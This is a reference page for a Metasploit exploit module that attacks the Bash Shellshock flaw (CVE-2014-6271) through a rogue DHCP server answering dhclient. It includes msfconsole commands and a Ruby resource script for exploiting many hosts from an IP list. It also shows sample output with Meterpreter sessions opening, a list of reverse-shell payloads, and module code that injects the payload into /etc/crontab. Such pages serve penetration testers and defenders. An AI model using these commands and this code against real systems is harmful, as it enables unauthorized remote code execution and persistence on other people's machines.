Dhclient Bash Environment Variable Injection (Shellshock) - Metasploit
This page contains detailed information about how to use the exploit/unix/dhcp/bash_environment metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Dhclient Bash Environment Variable Injection (Shellshock)
Module: exploit/unix/dhcp/bash_environment
Source code: modules/exploits/unix/dhcp/bash_environment.rb
Disclosure date: 2014-09-24
Last modification time: 2021-01-28 10:35:25 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2014-6271
This module is also known as Shellshock.
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell handles external environment variables. This module targets dhclient by responding to DHCP requests with a malicious hostname, domainname, and URL which are then passed to the configuration scripts as environment variables, resulting in code execution. Due to length restrictions and the unusual networking scenario at the time of exploitation, this module achieves code execution by writing the payload into /etc/crontab and then cleaning it up after a session is created.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using bash_environment against a single host
Normally, you can use exploit/unix/dhcp/bash_environment this way:
msf > use exploit/unix/dhcp/bash_environment
msf exploit(bash_environment) > show targets
... a list of targets ...
msf exploit(bash_environment) > set TARGET target-id
msf exploit(bash_environment) > show options
... show and set options ...
msf exploit(bash_environment) > exploit
Using bash_environment against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your bash_environment will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/dhcp/bash_environment")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
SRVHOST: The IP of the DHCP server
NETMASK: The netmask of the local subnet
Go back to menu.
Msfconsole Usage
Here is how the unix/dhcp/bash_environment exploit module looks in the msfconsole:
msf6 > use exploit/unix/dhcp/bash_environment
msf6 exploit(unix/dhcp/bash_environment) > show info
Name: Dhclient Bash Environment Variable Injection (Shellshock)
Module: exploit/unix/dhcp/bash_environment
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2014-09-24
Provided by:
Stephane Chazelas
egypt <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic Target
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BROADCAST no The broadcast address to send to
DHCPIPEND no The last IP to give out
DHCPIPSTART no The first IP to give out
DNSSERVER no The DNS server IP address
FILENAME no The optional filename of a tftp boot server
HOSTSTART no The optional host integer counter
NETMASK yes The netmask of the local subnet
ROUTER no The router IP address
SRVHOST yes The IP of the DHCP server
Payload information:
Space: 200
Description:
This module exploits the Shellshock vulnerability, a flaw in how the
Bash shell handles external environment variables. This module
targets dhclient by responding to DHCP requests with a malicious
hostname, domainname, and URL which are then passed to the
configuration scripts as environment variables, resulting in code
execution. Due to length restrictions and the unusual networking
scenario at the time of exploitation, this module achieves code
execution by writing the payload into /etc/crontab and then cleaning
it up after a session is created.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-6271
https://cwe.mitre.org/data/definitions/94.html
OSVDB (112004)
https://www.exploit-db.com/exploits/34765
https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
https://seclists.org/oss-sec/2014/q3/649
https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/
Also known as:
Shellshock
Module Options
This is a complete list of options available in the unix/dhcp/bash_environment exploit:
msf6 exploit(unix/dhcp/bash_environment) > show options
Module options (exploit/unix/dhcp/bash_environment):
Name Current Setting Required Description
---- --------------- -------- -----------
BROADCAST no The broadcast address to send to
DHCPIPEND no The last IP to give out
DHCPIPSTART no The first IP to give out
DNSSERVER no The DNS server IP address
FILENAME no The optional filename of a tftp boot server
HOSTSTART no The optional host integer counter
NETMASK yes The netmask of the local subnet
ROUTER no The router IP address
SRVHOST yes The IP of the DHCP server
Exploit target:
Id Name
-- ----
0 Automatic Target
Advanced Options
Here is a complete list of advanced options supported by the unix/dhcp/bash_environment exploit:
msf6 exploit(unix/dhcp/bash_environment) > show advanced
Module advanced options (exploit/unix/dhcp/bash_environment):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/dhcp/bash_environment module can exploit:
msf6 exploit(unix/dhcp/bash_environment) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Target
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/dhcp/bash_environment exploit:
msf6 exploit(unix/dhcp/bash_environment) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
1 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
2 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
3 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
4 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
5 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
6 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
7 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Evasion Options
Here is the full list of possible evasion options supported by the unix/dhcp/bash_environment exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/dhcp/bash_environment) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
payload too long
Here is a relevant code snippet related to the "payload too long" error message:
76: # escaped
77: p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }
78: echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"
79: hash['DOMAINNAME'] = "() { :; };#{echo}"
80: if hash['DOMAINNAME'].length > 255
81: raise ArgumentError, 'payload too long'
82: end
83:
84: hash['HOSTNAME'] = "() { :; };#{echo}"
85: hash['URL'] = "() { :; };#{echo}"
86: start_service(hash)
Go back to menu.
Related Pull Requests
- #14696 Merged Pull Request: Zeitwerk rex folder
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12158 Merged Pull Request: Manually set
needs_cleanup
for exploits that need it - #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #10570 Merged Pull Request: AKA Metadata Refactor
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8629 Merged Pull Request: add 'Also known as', AKA 'AKA', to module references
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6298 Merged Pull Request: Update Shellshock modules, add Advantech coverage
- #5822 Merged Pull Request: Fix #5659: Update CMD exploits payload compatibility options
- #3912 Merged Pull Request: Fix bad header error from pure Bash CGI script
- #3893 Merged Pull Request: Add DHCP server module for CVE-2014-6271
References
- CVE-2014-6271
- CWE-94
- OSVDB (112004)
- EDB-34765
- https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
- https://seclists.org/oss-sec/2014/q3/649
- https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/
See Also
Check also the following modules related to this module:
- exploit/linux/http/advantech_switch_bash_env_exec
- auxiliary/scanner/http/apache_mod_cgi_bash_env
- exploit/multi/http/apache_mod_cgi_bash_env_exec
- exploit/multi/http/cups_bash_env_exec
- auxiliary/server/dhclient_bash_env
- exploit/linux/http/ipfire_bashbug_exec
- exploit/multi/ftp/pureftpd_bash_env_exec
- exploit/unix/smtp/qmail_bash_env_exec
- exploit/osx/local/vmware_bash_function_root
- exploit/unix/dhcp/rhel_dhcp_client_command_injection
- exploit/linux/local/bash_profile_persistence
- payload/cmd/unix/reverse_bash
- payload/cmd/unix/reverse_bash_telnet_ssl
- payload/cmd/unix/reverse_bash_udp
- auxiliary/dos/dhcp/isc_dhcpd_clientid
- auxiliary/server/dhcp
- exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc
- exploit/unix/http/pihole_dhcp_mac_exec
Related Nessus plugins:
- Solaris 10 (x86) : 126547-10 (deprecated)
- Solaris 10 (sparc) : 126546-10 (deprecated)
- Bash Remote Code Execution (Shellshock)
- Debian DSA-3032-1 : bash - security update
- RHEL 5 / 6 / 7 : bash (RHSA-2014:1293) (Shellshock)
- GNU Bash Environment Variable Handling Code Injection (Shellshock)
- Slackware 13.0 / 13.1 / 13.37 / 14.0 / 14.1 / current : bash (SSA:2014-267-01) (Shellshock)
- CentOS 5 / 6 / 7 : bash (CESA-2014:1293) (Shellshock)
- FreeBSD : bash -- remote code execution vulnerability (71ad81da-4414-11e4-a33e-3c970e169bc2) (Shellshock)
- Mandriva Linux Security Advisory : bash (MDVSA-2014:186)
Authors
- Stephane Chazelas
- egypt
Version
This page has been produced using Metasploit Framework version 6.1.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.